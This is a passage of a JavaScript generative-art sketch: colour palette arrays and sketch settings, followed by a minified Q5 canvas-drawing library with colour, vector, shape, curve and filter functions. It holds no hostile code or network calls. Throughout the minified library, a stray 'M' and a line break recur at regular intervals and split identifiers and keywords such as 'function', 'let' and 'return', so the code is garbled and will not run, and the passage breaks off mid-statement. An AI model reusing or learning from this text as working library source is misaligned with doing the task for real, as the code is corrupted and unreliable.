  "433158-8988a0-e8d9be-a87775-6ba2c9-e2dcde",
  "6C4A35-6d1f09-a05d32-cfa57b-f6e9d6",
  "8d2a00-b55219-be6731-76704c-545e46-1f2d16",
-90f505-01f5bb-037df4-af31f5-F50561",
  "2d00f7-6a00f4-8900f2-a100f2-b100e8-bc00dd-d100d1-db00b6-e500a4-f20089",
  "e574bc-ea84c9-ef94d5-f9b4ed-eabaf6-dabfff-c4c7ff-adcfff-96d7ff-7fdeff",
  "ff99c8-fcf6bd-d0f4de-a9def9-e4c1f9",
  "001427-708d81-f4d58d-bf0603-8d0801",
  "d6d6d6-ffee32-F5C800-202020-333533",
  "03b5aa-037971-023436-00bfb3-049a8f",
  "f9f0a1-d8d085-718f8d-5ecbdf-90e7f8-c8f2fe",
  "c6a477-eed7a3-f7ead7-d3e7ee-abd1dc-7097a8",
  "c8823c-1d181d-bb5f36-769ea0",
 const refreshRate = 60;
 const maxShape = 8;
 const chargeSpeed = 0.05;
 let started = false;
 let speeds = [1, 30];
 let displaySpeed = speeds[speedIdx];
 let seeds = tokenId;
 let bgCurvePoints = []
 let pressurePoints = [];
 let wiggleSpeeds = [0.1, 0.05, 0.01]
 let wiggleStrengths = [0, 5, 10, 20]
 function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HM
SV=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORM
MAL="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=M
3;n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.M
relRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let lM
=null;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resM
izeCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/M
(n-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=funcM
tion(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function uM
(){null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.yM
,a.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();lM
et e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=MathM
.sign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;M
const o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VM
ector(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,M
e.z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};M
n.curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:M
o=s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==M
(l=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.CoM
lor(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)returM
n new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._rM
+.7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.consM
train(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"stM
ring"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTigM
htness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heM
ight),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noSM
troke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseM
Mode==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,M
i,i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.sM
quare=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()}M
;n.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[M
i.length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],MM
=n*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)}M
;n.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;letM
 t=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,M
t,a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.M
height=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],eM
[t+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.seM
t(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}M
return n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]M
=s,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvM
as,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(M
t*n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.gM
